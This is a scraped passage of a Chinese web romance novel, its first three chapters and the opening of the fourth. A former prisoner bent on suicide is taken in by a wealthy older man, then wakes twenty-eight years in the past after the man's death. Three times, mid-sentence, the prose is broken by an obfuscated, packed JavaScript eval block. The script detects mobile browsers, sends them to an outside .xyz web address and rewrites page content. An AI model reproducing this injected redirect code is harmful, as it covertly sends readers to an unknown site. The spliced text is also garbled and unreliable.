《豪门老男人的金丝雀又发疯了》 1. 第 1 章 淅淅沥沥的雨终于停了。 江安从屋檐下走出来,呼了口气,看着脚边的石头,一个用力将石头踢飞了老远,在空旷的巷子里发出沉闷的回响。 “出去了就好好做人,别再回来了。” 临走时教官的声音似乎还回荡在耳边,江安将背包往上背了点,无奈地笑笑,又继续往前走,鞋子踩在泥水坑里,在裤脚上溅起一片黑灰色的泥点。 …… “哐啷” 一枚硬币被扔到了江安面前。 他抬头看去,是一个年岁不大的小孩。小孩见江安看过来,冲他笑了笑,转身跑回妈妈身边。 “妈妈,那个叔叔看起来好可怜。” 江安愣了下,看了看身上的破旧风衣,将硬币捡起来,握在手心,勾起唇,笑眯眯地冲小孩挥手:“谢谢啊!” 小孩有些不好意思,连忙躲到妈妈身后,却还是忍不住探出半个头,看向江安,然后在和江安对视的瞬间,又害羞地缩了回去。 江安看着今天的第一笔“收入”,站起来拍了拍裤子,又将衣服理理整齐,沿着小路往前走,愉悦地哼起了歌。 拐角的地方开着一家老旧的小卖部,小卖部的老板是个老大爷,耳朵不太好使,江安喊了好几遍才转过头,操着一口听不太懂的方言,问江安要买什么。 江安从口袋里掏出那枚硬币,放到桌上,礼貌地道:“来一包烟,最便宜的那种。” 老大爷掀了掀眼皮,慢悠悠地从柜子里拿了包烟出来,“两块五。” 江安又从口袋里掏出一大一小两枚硬币放上去,把香烟拿过来,笑眯眯地道:“谢了啊。” 刚准备转身的时候,他顿住动作,看向老大爷:“能借下火吗?” 说着他就把烟盒拆开,从里面抽了一根出来。 江安虽然现在看着有些落魄,但那张漂亮的皮囊却还是能让人对他心生好感,对他的请求很难拒绝。即便是年过半百的老大爷,也不由得多看了两眼。 从旁边拿了个快没气的打火机扔了过去,“送你了。” 江安走到大街上,找了个椅子坐下来,用刚刚老大爷赠送的打火机将香烟点燃,塞进嘴里用力吸了一口。 “呼——” 他靠在椅背上,仰头看着天空,感觉全身都放松了下来,有一种飘飘然的感觉。 他喜欢尼古丁。 这里是市中心。 在市中心最大的那栋楼的墙壁上有一块很大的LED屏,全天候地循环播放着那个被媒体称之为“世纪联姻”的求婚仪式。 甚至都不是婚礼,只是一个求婚仪式,却几乎是到了家喻户晓的地步。 一个娇憨漂亮的天之骄女,一个温润有礼的白马王子,两个人站在一起,怎么看怎么是天造地设的一对。 江安一口接一口地抽着烟,看着屏幕上的两个人,眼神逐渐空洞。 …… “小安,我是爱你的,只是你知道,在我们这样的家族里,肯定少不了那些腌臜的事,哪怕是我……也不能避免。我知道你不喜欢这些,可是,你能为了我忍一忍,最后再帮我一次吗?” “只有你能帮我,求求你了,小安……” 周文煊吻了吻他的下巴,满眼的恳求,让江安无法拒绝。 一张清秀淡雅的脸,天生就自带一股忧郁的气质,再加上他总是在江安面前示弱,以至于他的每一次请求,江安都会答应。 可这一次,周文煊却亲手把江安送进了监狱。 在江安被警察带走的时候,周文煊满脸歉意,看起来好像还是在爱着他的:“对不起小安……不过你放心,我已经找人打点好了,你在里面不会受苦的。” 他不舍地送江安上车:“我会在外面等你出来,我会让父亲同意我们的事情,我会想办法和你结婚的。” 伴随着刺耳的警笛声,警车缓缓开走,江安想回头看一眼,却被无情地按了回来。 不知不觉,当江安还想从烟盒里拿烟的时候,却摸了个空。定睛一看,才发现一包烟竟然在不知不觉中被抽完了,脚边扔了一地的烟头,秋风萧瑟,让他看起来像个失意落魄的流浪汉。 江安轻笑一声,站起来伸了个懒腰,最后看了眼大屏上的两个人,在泛红的夕阳中,缓步离开。 他走到一个天桥上面,趴在栏杆上往下面看,夜风徐徐,吹得人心透凉。 他想,周文煊对他说过那么多句“喜欢”,那么在人生中最重要日子见到他,一定会很开心吧? 明天就是周文煊结婚的日子,早上婚车出门的时候一定会从这个天桥下路过。江安没想什么别的,就是准备等明天早上婚车开过来的时候从这里跳下去。 想到周文煊因为惊惧而扭曲的表情,他就兴奋得想笑。 当清晨的第一缕阳光从天边升起,江安眨了眨眼睛,站起来伸了个懒腰,爬起来坐在栏杆上,哼着歌,晃荡着两条腿,随时准备跳下去。 “江安。” 伴随着吱呀的轮子滚动声靠近,是一个有些陌生,却又有些熟悉的声音。 江安转过头,在看到那张脸时还皱眉想了好久,然后终于在记忆的边角料里找到了——周文煊的小叔叔,周齐。 想起来后,江安歪头笑了笑,对他挥了挥手:“呀,好久不见。” 当初他为了帮周文煊窃取公司资料,爬上周齐的床,再到后面周齐发现他和周文煊的事,暴怒异常,非但叫人打断了他的两条腿,还将他扔到了马路边上,让他自生自灭。 他讨厌周齐,从看到他的第一眼开始就讨厌他。 他左右看了看,见这里只有周齐一个人,“你说我要是拉着你从这里跳下去,是不是也没人过来拦我?” 纯黑色的眼瞳中满是认真,好像真的在思考这样做的可行性。 周齐面不改色地看着他:“你可以试试。” 江安无辜地耸了耸肩,失望叹气:“那你过来做什么?” 周齐轻笑一声,低头理了理袖口,轻飘飘地道:“只是没想到你这样的人也会寻死。” 江安动作一顿,收回脚,从栏杆上跳下来,面无表情地盯着他:“嫌我弄脏你家门口的路?” 周齐定定地看着江安,也不知道在想些什么,过了一会,认真点头:“是啊,怪晦气的。” 见江安没有说话,他从口袋里掏出一根烟,用打火机点燃,塞进自己嘴里,对江安扬起了头,“想抽烟吗?” 江安烟瘾大,闻到烟味的时候就已经有些意动,闻言更是想都没想,走过去一把抓住周齐的后脑勺,然后俯下身,吻了上去。 他的唇因为许久没有喝水早就干裂了开来,周齐却因为保养良好是与他完全相反的柔软。 一开始江安只是想从他嘴里抢走那根烟,结果因为周齐的嘴巴太好亲了,烟掉了,他却没有松口,一手捏着周齐的下巴,一手按着他的后脑勺,以一个进攻性非常强的姿势,将周齐里里外外都给亲了个遍。 江安眯眼看着周齐,齿尖用力,口中瞬间传来一股浓郁的血腥味,却仍不肯松口,反而是咬着那处用力吮吸着,将血液和口水一起咽下去。 周齐痛地皱起了眉,将他推开,擦了擦嘴,轻啧一声:“你是狗吗?” 江安直起身,舌尖舔去唇上的血液,笑眯眯地道:“狗可不会这样咬人嘴巴。” 香烟掉在衣服上,不知什么时候被人用指尖捻灭了烟头,却还是将大衣个烫出个黑点。昂贵的大衣就这样直接报废掉了,可衣服的主人却一点都没有在意,甚至脸上还露出了难得一见的笑意。 “江安,跟我回去吧。” “回去做什么?跟你上床吗?” 没想到周齐竟然认真地点点头:“嗯,我缺一个暖床的。” 江安认真思考了一下:“周大老板竟然还缺暖床的?” 周齐摇头:“你最好用。” 说罢不等江安回答,又将口袋里剩下的半包烟扔给江安,“回来吧,想抽多少烟都可以。” 江安不得不承认,周齐开出的价码他无法拒绝。 他突然就不想死了。 他想知道“你最好用”这四个字是什么意思。 天桥下排成好几列的婚车兴高采烈地开了过去,江安站在周齐面前,双手插兜,弯腰看着他。 “好啊,你说的。” “我说的。” …… 周齐以前出过车祸,两条腿都被撞坏了,国内外的名医看了不少,手术也做了不少,终于在车祸后的第三年,放弃了。 也正是因为这场车祸,周齐身体一直不好,总是一副病恹恹的样子。就连家里的装修也在不知不觉间被改造成了方便残疾人生活的样子,似乎也昭示着周齐终于承认自己是个残疾人。 江安第一次看到周齐的时候,还当众嘲讽他是个站不起来的废物,骂他是个癞蛤蟆想吃天鹅肉的老男人。后来在不得不和周齐睡的时候,还总盼望着周齐最好哪一天就这么直接死了才好。 结果有一天,周齐真的死了。 二十多年前的那场车祸到底还是留下了病根,周齐的脑子里被扎进了一个碎片,碍于当时的医疗条件没有被发现,后来就总是会头疼。很多人说让周齐去医院做手术取掉,但周齐不愿意,因为做手术有百分之六十的概率会死在手术台上,不做的话好歹还能多活个几年。 结果前天晚上,周齐从公司回来后躺床上没多久就睡着了。一开始江安还以为周齐是太累了,直到周齐开始抽搐,他才发现不对劲,连忙将人送到了医院。 拍了片之后才知道原来是脑子里的那块碎片移位了,现在在一个很危险的地方,需要立马做手术拿出来。 结果就在江安都没反应过来的时候,手术失败了,周齐永远地闭上了眼睛。 事发突然,几个小时前周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861100|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐还和他躺在一张床上,聊着今年去哪过年,结果几个小时后,周齐就这样浑身冰冷地躺在手术台上。 “你就是个骗子。” 说好了要养他一辈子,却这么早就走了。 “别指望我会为你伤心。” 他和周齐是等价交换,一个给钱,一个出人。 “等我哪天不高兴了我就把你的坟给刨了,让你死也死得不安生。” 周齐不在了,这个世界上再也没有人能管得了他。 只是律师在宣读遗嘱的时候,江安才发现,周齐把名下几乎所有的产业全都给了他。 周文煊在房间里大吵大闹,满脸愤恨,那张总是淡雅随和的脸因为嫉妒也扭曲成了一个恶心的样子,让江安感觉陌生得不像话。 他看到周文煊挣脱了束缚,愤怒地朝他冲过来,他被周文煊揪住衣领,拳头砸下来的时候,恍惚间想起来自己好像在周齐的哄骗下签过很多东西。只是他从来不会去看,也从来不会去问,周齐让他签什么,他就签什么。 为什么呢? 江安揉了揉自己被打破的嘴角,想问周齐。 可是周齐再也不会回答他。 江安收下了这份遗产,然后转手就全都捐了出去,分文不剩。 周齐还活着的时候,总是变着法的帮江安戒烟。 一开始一天一包,后面两天一包,再到一周一包,一月一包……也不知道是从什么时候开始,当江安把手伸进裤兜里的时候,掏出来的不再是烟,而是不同口味的水果糖。 可现在周齐死了,江安又一次抽起了烟。 他的烟瘾越来越大,从一天一包,到一天两包,最后一天五包才勉强够,甚至比刚跟周齐回家的时候还要夸张。江安有时候都在想,照他这么个抽法,说不准哪天就死在这上面,也算是为民除害了。 他就像个孤魂野鬼,四处飘荡。今天在这里打打零工,明天又跑到另一个地方,居无定所,有了钱就花,像是随时都在准备赴死。 江安去了很多地方,爬了山,下了海,去了沙漠,进了高原,看了许多以前从来都没有看过的风景。最后他又回到了这个他和周齐认识的地方,也是他和周齐在一起住了十年的地方。 他去给周齐扫了墓。人死之前不论有多风光,死了之后都会变成一抔黄土,被放在四四方方的小盒子里,长埋于地下,最后被人遗忘,在岁月的洪流中彻底消失。 “为什么呢?” 他问周齐。 “难道你喜欢我?可是你从来没有跟我说过喜欢。” 墓碑上的照片永远被定格在了四十一岁,那是周齐生日那天,江安给他拍的照片。 他抬手将照片上的灰尘拂去,透过岁月看着对方。 江安在二十岁的时候认识周齐,彼时周齐二十八岁。和周文煊纠缠了五年后,江安在监狱里又蹲了三年,出来后二十八岁。 三十六岁的周齐把江安捡回了家,开始了长达十年的纠缠,直到周齐死在手术台上,江安又变成了一个人。 * 再一次去看周齐的时候,是江安到了周齐离开的这个年纪。他还是和年轻时一样混蛋,只是这次身后再也没有人给他兜底,他学会了忍让,学会了工作,学会了省钱,香烟也从三四百百一包换成了两块钱一包。 江安坐在周齐的墓前,看着上面已经褪色的照片,用袖子将上面的灰尘擦干净,“一晃这么多年都过去了。” 他一直都没弄明白,周齐为什么要带他回家,明明是他先把他给赶出来的,也是他先不要他的。 他不止一次的想去问周齐,为什么当初要那么狠,把他的两条腿都给打断了,到现在走路都不利索。 他想说,真的很疼,疼得他都哭了,他在街边躺了很久很久,身上都爬了很多蚂蚁,快要死了,却还是等不到周齐过来接他回家。 可是直到周齐死了,他都没有找到机会问。 晚上的时候,他给周齐曾经的秘书发了封邮件,然后扛着铁锹上山,花了一整夜的时间把周齐的坟给刨了。 这么小的盒子,却放在这么大的墓里,真是奢侈。 然后江安就跳了进去,将盒子抱在怀里,闭上了眼睛。 …… 耳边传来水流声。 有什么东西钻进了嘴巴和鼻子,堵住了他的呼吸,胸腔难受得像是要炸裂,求生的本能让他奋力挣扎,意识却仍旧逐渐模糊,缓缓沉了下去。 黑暗和冰冷将他包裹,那一瞬间江安觉得自己是真的死了,可直到他猛地睁开眼睛,新鲜的空气迫不及待地涌入胸腔,活着的感觉突然变得异常清晰。 入眼是一片纯白色的墙砖,他正坐在浴缸里,手边放着一杯红酒,和一部手机。 他下意识拿起手机,屏幕上明晃晃地写着几个大字—— 2019年10月21日 是二十八年前的日期。 2. 第 2 章 江安撑着浴缸起身,拿过旁边的浴袍穿上,湿漉漉的头发被捋到脑后,仿佛工笔勾勒出的精致五官就这么明晃晃地暴露出来,透着一股单纯无辜的少年感。 他一边甩着头发上的水,一边打量着周围的环境,走到洗手台的镜子前,伸手擦了擦上面的雾气,然后在里面看到一张熟悉却又有些陌生的脸。 这张脸看起来年轻了很多,青涩了很多,笑起来时右边的嘴角还有一个小小的酒窝,非常讨喜。只是右边的脸颊上有一个不太明显的巴掌印,微微泛着红,硬生生破坏了整体的美感。 江安眼神闪烁,若有所思。 这时候他注意到自己的脖颈,光滑完好,没有一点受过伤的痕迹。 当初他因为保护周文煊,和别人干架,结果被人用刀抹了脖子,差点就这么死掉。 看来,他是真的回到了二十八年前,回到了那个他还没有彻底栽在周文煊身上的时候。 只是周遭的一切让他感觉有些陌生,这显然不是他的家里。 他看了眼浴缸边上的红酒,收起手机,推开门,是一个装修得漂亮,却又干净整洁得不像是一个家的客厅。 脚下是柔软的深灰色地毯,拖鞋踩在上面一点声音都没有,正前方是沙发和茶几,茶几上摆放着一套茶具,看起来像是有人用过了,茶盏里还剩了一半的水。 江安绕过沙发,来到这里唯一的房间门口。 房门紧紧关闭着,底下却隐隐透着点光,里面像是有人。 他握住把手,轻轻往下一按。 “咔嗒” 门开了。 * 房间里也很干净,只是床铺有点乱,看上去像睡过人。头顶上的水晶吊灯被调成了暖黄色,不刺眼,照得人昏昏欲睡。 这里除了江安,就没有别人了。 江安在原地愣了下,走到床边,直接躺倒在了上面。 大抵是在水里泡了太久,现在他手脚发凉,脑袋也有点晕,身上更是没什么力气,眼睛一闭,就想睡觉。 江安从不委屈自己,累了,就闭眼睡觉。 今天发生的一切都太过魔幻,让他产生一种不真实的感觉,好像只要一闭上眼睛,他就会回到那个冰冷的坟墓里,和周齐长眠于地下。 可上苍终究是眷顾着他的,等江安再一次睁开眼睛的时候,发现自己依旧躺在床上。 摸出手机看了一眼,2019年10月22日,他还在这里。 清晨的阳光已经从窗帘缝隙透了进来,泛着金光,将空气中的灰尘照得一清二楚,头顶空调还在呜呜吹着暖风,让江安感觉身上有些热。 他后知后觉地想到,如果不是这个空调,估计他今天都不一定能爬得起来。 几十年前的手机在江安看来太过落后,他有些生疏地将手机解锁,发现手机早就被调成了静音,上面有一堆的未接电话和短信。 他随意翻了两下,看着一个个陌生又熟悉的名字,发现有很多人他都不记得了,甚至连样子都想不起来。他随便挑了个印象比较深的,把电话拨了回去。 那人叫潘乐游,是江安的初中同学,家境条件都挺不错,一直以来都和江安关系挺好。只不过后来江安在认识周文煊后,和潘乐游产生了一些分歧,两人也就越走越远,高中毕业后就不怎么联系了。 电话拨通后,那边却没有声音。江安也不着急,拉开窗帘,把手机免提打开放在桌上,从桌上的零食堆里挑了一包苹果干,撕开包装袋嘎吱嘎吱地嚼了起来。 也许是江安表现得太过惬意,那边的呼吸声有些急促,却还是忍着没说话。就在江安拆开第二包的时候,终于忍不住了:“江安你竟然还有闲心吃东西?!” “嗯?”江安挑了挑眉,轻笑一声,坐在沙发上,不紧不慢地道,“我为什么不能有闲心吃东西?” 那边急了:“江安你!”顿了顿,又道:“快告诉我你现在在哪?” 江安环视了一圈自己现在待着的这个房间,看着手机,认真地对他说:“可是,我自己都不知道我现在在什么地方。” 对方显然不信:“江安!!!” 江安耸耸肩,真诚又无辜地道:“真的你信我,我真不知道自己在什么地方。” 天地良心,他一醒来就在这里了,旁边一个人都没有。 可他慢悠悠嚼苹果干的声音听起来太过无所谓,让对面火冒三丈:“江安我没跟你开玩笑!!你知不知道你得罪的是谁?就算是你老子也没法像以前那样给你摆平!!” 江安以前就是个混世魔王,得罪过的人两只手都数不清,况且这都是二十多年前的事情了,他又怎么可能记得? 不过这么多年下来,江安什么都不多,就耐心最多:“真的,我一觉醒来就在这里了,压根不知道自己现在在什么地方。” 在解释了很多遍之后,潘乐游的火气终于降了下来,只不过语气还是冲冲的:“你把我微聊好友加上,给我同步下位置,我去接你。” 江安找到微聊,搜了一下,却没找到潘乐游的名字:“我好像没找到你?” 那边沉默了下,紧接着传来一声怒吼:“我在你的黑名单里!!!” * 在等潘乐游的时候,江安也大致翻了下手机,没一会就玩得很溜了,甚至还去打了把游戏,拿了个最佳击伤。 这时候潘乐游给他发消息,说自己还有十分钟到。 江安想了想,还是决定躺在沙发上,继续玩手机。 他翻看着自己以前的聊天记录,发现这时候的自己看起来好像有点蠢,还特别自大,整个人都洋溢着一股青春中二气息。 “我这时候多大来着?”他茫然地看着天花板,喃喃道,“哦,好像是二十岁。” 二十岁。 二十岁是一个很美好的年纪。 年轻、气盛,怀揣着梦想,有大把的时间和精力去做自己想做的任何事。 江安侧身躺在沙发上,阳光倾斜着打在身上,给他整个人都镀上了一层金光,就连头发都变成了漂亮的金褐色,连带着他的五官都变柔和了。 再次打开日历,看着上面的时间。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861101|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>2019年10月22日 他盯着这个日期看了许久,总觉得有些莫名的熟悉,似乎是什么很重要的日子。他把手机放在一边,翻了个身仰躺在沙发上,嘴里念叨着这个日期,在脑子里翻找起了曾经的记忆碎片。 2019年…… 十月份…… 十月,十月…… 十月? 江安猛地从沙发上坐起来,过往的记忆突然如潮水般涌来,凶狠地拍打在他身上…… …… 江安在小学的时候就听过周齐的名字,出了名的天之骄子,还上过不少次电视。在江安的成长过程中,耳边总是少不了周齐的名字,他虽然没有见过周齐这个人,却对他的一些事迹倒背如流。 对周齐,江安是属于不讨厌也不喜欢,就完完全全一个陌生人。 本来江安也觉得自己这辈子都不会和周齐这种人打交道的,可没想到的是,自己有一天竟然会和周齐坐在同一张饭桌上,面对面地吃着饭。 江安一头雾水地和周齐吃了顿饭,然后就在他想要回去的时候,他爸突然开口道:“不知道周总对小安满不满意?” 然后周齐用一种让江安觉得很奇怪的眼神打量着他,露出了那晚的第一个笑。 江安不明白这个笑代表了什么,只是直觉有些不对劲,却也没有多想。 后来也没过多久,他爸又带他参加了一场慈善晚会。 在慈善晚会结束后,他爸领着他来到周齐面前,在后面推了他一下,“以后就麻烦周总照顾我们小安了。” 那一瞬间,江安突然想起来了有关于周齐的另一个传闻。一个不太好的传闻。 “听说那个周总,不喜欢女人,就喜欢玩男人呢。” 之后的事情江安记不太清了,他只记得自己发了好大的脾气,不仅直接掀了桌子,还当众咒骂周齐,把他能想到的所有恶毒的词汇都用在了周齐身上。 江安气疯了,他知道自己不讨父亲的喜欢,却从没想过自己的亲生父亲,竟然会想着把他送到一个对他有想法的老男人的床上! 周齐可比他大八岁啊,整整八岁,他还在吃手指头的时候,周齐就已经在上小学了。 也是从这一刻开始,他对周齐就产生了无与伦比的厌恶。他厌恶着关于周齐的一切,甚至连听到他的名字都觉得恶心。 而他第一次和周齐吃饭的日子,是10月11日,他被带去慈善晚会的那天,是10月20日。 后来又过了很久,在被周齐带回家的第五年,江安才知道,原来10月20日那天,是周齐的生日。 当时心里是怎样的一种感觉,江安到现在都说不清,就像是被人猛猛打了一拳,却又不疼,闷闷的,堆积在胸口,怎么都散不去。 “那你之前怎么都不告诉我?” 在周齐把他带回来之后的很长一段时间里,周齐都没有过过生日,却永远不会忘记他的生日。 当时周齐只是满不在意地说:“现在告诉你也不迟。” 怎么会不迟,迟了好多好多年。 3. 第 3 章 江安闭上眼睛,哀嚎一声,又躺倒在沙发上。 其实后来和周齐熟悉了之后,他隐隐觉得当初周齐应该不是那个意思。 只不过当时他对周齐的厌恶已经是到了骨子里,根本就没有想过去问周齐。以至于后来这件事一直梗在他心里,成了一根永远也拔不出来的刺。 就在他思考的空档,门外突然传来一阵凶狠急促的敲门声。 江安愣了下,想起来应该是潘乐游,从沙发上爬起来,过去开门。 来人跟他差不多高,戴着副无框眼镜,神情冷漠,气质如冰。 潘乐游站在那儿的时候,就特别像女生们口中的高冷男神,可一旦你跟他熟了,就知道他其实是个特别缺心眼的傻缺。 潘乐游不喜欢周文煊,总觉得江安迟早会被周文煊给害了,但江安却根本听不进去,一头栽进去,两人因此吵了很多次,最后更是直接断了联系,一直到他死,都没再联系过。 乍一看到潘乐游,江安还有些怀念,一些埋藏在脑海深处的久远记忆,也像拼图碎片一样,一块一块地拼凑起来了。 他让潘乐游进屋,叹道:“好久不见。” 于江安而言,他和潘乐游已经有几十年都没见过了,而对潘乐游来说,他和江安也确实好久没见了。因此也没觉得这句话有什么不对,眉毛一挑,破口大骂:“江安你也知道我们很久没见啊?!” 话里带了浓厚的怨气,那张冰山般的脸也瞬间委屈了起来,他抿着唇,嘴角往下耷拉,一双浅褐色的眼睛里隐隐有水光浮现,正死死瞪着江安。 江安觉得有些好笑,笑眯眯地给他倒了杯茶,“是是是,这不是见到了?” 潘乐游想都没想,手一挥就直接打在江安手上。 “啪” 江安手没拿稳,杯子掉在桌上,又顺着桌子边缘滚到了地上,茶水撒了一地。 空气也跟着沉默了下来。 江安看着手上的茶水,轻笑了下,抽了几张纸巾擦干,又从旁边拿了个干净的杯子,给潘乐游重新倒了杯茶。 看着江安手背上的红痕,潘乐游抿了抿唇,眼中闪过一抹懊悔,在江安再一次将茶水递给他的时候,顿了一下,接过茶杯,喝了口,算是不生气了。 江安脸上笑容更灿烂了,给自己也倒了杯茶,慢悠悠地抿了口,这才不紧不慢地道:“好了,现在可以跟我说说,这么急着找我到底有什么事了?” 他摸了摸自己似乎仍旧隐隐泛着痛的右脸,心里其实已经猜得差不多了,但到底是二十多年前的事情,很多细节他根本就想不起来了。就比如说他现在待着的这个房间,可以说是一点印象都没有。 潘乐游又看了眼他手背上的红痕,推了推眼镜,这才开口道:“还不是前两天那事……你说你怎么就和那种人扯上关系了?”说着他又用复杂的眼神看向江安,有些难以启齿:“难道你不知道,不知道他是……” 潘乐游憋红了脸,后面的话也没继续说下去,只是仰头将杯子里的茶水猛地灌了下去,满脸的气愤,和不解。 江安若有所思:“是谁让你找我的?” “还能有谁?”潘乐游表情有些委屈,撇了撇嘴,愤愤道,“你们家除了你,我也就只有你哥会找我!” 之前在电话里潘乐游就提了一嘴,但江安和自己的这个哥哥关系一向不好,属于两个人互相看不顺眼的那种。 他话音一转,又问道:“我刚刚只发了地址给你,你怎么知道我在哪个房间?” 潘乐游总是会被江安牵着鼻子走,想都没想就答道:“你忘了?这是我家开的酒店,你把地址发给我的时候我就知道了。” “诶对了,你怎么会躲到这里?” * 江安有时候还挺同情潘乐游的,长了一副精英面孔,大脑却像是少了根筋似的。上学那会儿也是,总被人耍得团团转,只要别人对他好点,跟他“称兄道弟”,他就乐颠颠地上赶着给人送钱,就算被欺负了也总是忍气吞声。 江安不是个喜欢管闲事的人,再加上他自己本来就不是什么好人,更是乐得看潘乐游这种人被人耍。 两人熟悉起来还是因为江安那天心情不好,结果正好撞上他们,就把他们给揍了一顿。老师找来的时候江安眼珠子一转,指着潘乐游说,是那群人先欺负了潘乐游。 前一天晚上,江安看到潘乐游因为没带够钱,被那群人给打了一顿,胳膊上还有瘀青。 再后来,潘乐游就认定江安是真心实意地对他好,主动贴上来又是送钱又是送吃的,可以说是把他当成了自己最好的朋友。而江安当时正好被停了生活费,也就理所当然地享受起了潘乐游的讨好。 结果没想到的是,两人的关系,竟然就这么一直维持了下来。直到周文煊的出现。 江安侧身靠在车窗上,看着驾驶座上一本正经开着车的潘乐游。 其实潘乐游根本不近视,眼镜也是平光的,还是江安送给他的。也许是有了镜片的遮挡,潘乐游整个人的气质就不一样了,不说话的时候总是一副冷冰冰的样子,看着不太好惹。 “那个,”等红灯的时候,潘乐游推了推眼镜,小眼神不由自主地往江安手背上瞟,“那个,对不起啊……” 江安笑着点了点头,十分大方地原谅了他:“没事。” 车子平缓地行驶在马路上,两人默契地没有提起周文煊,有一搭没一搭地聊着,多年不见的隔阂,似乎也在这断断续续的闲聊中,烟消云散。 他问了潘乐游很多事,只是潘乐游许久没跟他联系,知道的也不多。而从潘乐游了解到的情况上来看,现在外面都在传是他想攀附周齐,被周齐拒绝后才恼羞成怒对他破口大骂。 当初江安心里眼里只有周文煊,这件事发生后也是一直在哄周文煊,根本没空去管别人说什么。再加上他根本不在意别人对自己的看法,也就不知道当时那些人是怎么说他的了。 所以说现在江安知道后,倒是觉得挺有意思。 不过同时他又有些生气。 虽然于情于理他都能理解,但周齐对流言的放任不管,还是让他产生了一些不满,还有些隐隐的不舒服。 和委屈。 * 江家是暴发户,和那些底蕴深厚的大家族不一样,总是被排斥在外。江博瀚就总想着挤进去,房子也专门装修成了那种偏欧式的风格,从外面的铁门进去后还要经过一个花园,才能看到里面的主屋,好像只有这样才能凸显出自己的财力。 “你家这弄的也太浮夸了吧。”潘乐游嫌弃地看着精心打理的花园,两人的关系好像回到了从前,话音一转又试探性地道,“要不以后你搬到我家住吧?反正我家里就我一个人。” 江安心里有自己的打算,没有回他,弯腰敲了敲车窗,毫不留情地赶人:“好了,你现在已经把我送到家门口了,任务完成,可以走了。” 潘乐游嘴巴一撇,就要生气,却见江安温柔却不容拒绝地看着他:“听话,回去。” 说罢便摆了摆手,转身往里面走。 潘乐游看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861102|159434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他的背影,抿了抿唇,眼神闪烁,最后还是忍不住冲他喊道:“江安!” 江安停下脚步,回头看他。 潘乐游:“不管怎么样,我都是站在你这边的!” 离得太远,江安看不太清潘乐游脸上的表情,但还是笑着点了点头:“好啊,我知道了!” 江安从来没跟潘乐游说过自己家里的事情,他不想让别人知道他糟糕的父子关系。但有些事,即便不说,就算是像潘乐游这样缺心眼儿的人,在长久的相处中,也总会发现一些端倪。 说起来他也有二十多年没回过家了。 刚进门,就听到一声阴阳怪气:“呦,还知道回来啊?” 江安愣了下,随即反应过来说这话的是他哥哥,江覃。 江覃比江安大一岁,长相继承了江博瀚的儒雅,可偏偏性子跳脱,一点也不符合江博瀚眼中的“长子形象”。但相比于江安,江博瀚显然更喜欢江覃,起码他不会给自己找麻烦。 江安换上拖鞋,把外套挂在门口的衣架上,笑眯眯地撸着袖子,漫不经心地向江覃走去。 江覃被他的这番动作给吓了一跳,连忙站起来大喊:“江安你想做什么?爸爸就在楼上,你千万不要乱来啊!” 见自己的目的达到,江安也不继续吓他,而是走到一旁坐了下来,拿过江覃刚剥好的橘子塞进嘴里,拍了拍沙发,乐道:“怎么站起来了?快坐啊,这个橘子在哪买的?还挺甜。” 小时候江覃被江安打怕了,对于江安的“示好”无动于衷,走到离他最远的沙发上坐了下来,防备地抱着抱枕,还是忍不住嘲讽道:“你还有心思吃呢?知不知道自己得罪了谁啊?” “谁?”江安故作不知,掰着手指头跟他数,“你说的是上次被我揍了一顿的邹世旻,还是上上次被我砸了头的庄家炜?哦我知道了,一定是上个月被我踹进湖里的宋秦吧?” 这几个人都是江安目前能够想起来的,和江覃一个班的,据说脾气都比较暴躁的富二代。只不过这些事都是他瞎说的。 可江覃却真的信了,江安每说一个人,他的脸色就要白一点,到最后都要被江安吓哭了:“停停停!!江安你别说了!闭嘴!” 江安笑嘻嘻地耸了耸肩,暗叹江覃现在还是这么好骗。 说起来,其实他这个哥哥,某方面来说还挺有意思的。 也许是彰显自己作为父亲的威严,又或许是想给江安施加压力,在江安到家后又过了三个小时,江博瀚才不紧不慢地从楼上下来。 一来就给了江安一个下马威:“从今天起你就别出去了,等周总过来接你。” 一锤定音,根本不给江安任何拒绝的机会。 此话一出,江安还没什么反应,江覃就先愣住了。 他没想到江博瀚是真的想把江安送给那个男人。 江覃张口想问什么,但看江博瀚脸色阴沉的样子又不敢多问,抿了抿唇,看了眼对面还在吃橘子的江安,最后还是选择闭嘴。 江博瀚总是喜欢决定他们兄弟俩的人生,从小到大,不管什么事都是由江博瀚做主。只不过江安选择了反抗,他选择了顺从。 这次他本以为江安不会回来的,找人的时候也就装装样子,因为江安一旦回来,在江博瀚眼里就代表了两个字:顺从。而江安显然不可能顺着江博瀚,两人之间免不了争吵。 他闭上眼,在心底叹了口气,准备迎接接下来的狂风暴雨。 却没想到,江安竟然是以一个非常平静的语气说了句:“好。” 4. 第 4 章 一家三口,就这么非常平静且诡异地坐在一张桌子上吃饭。 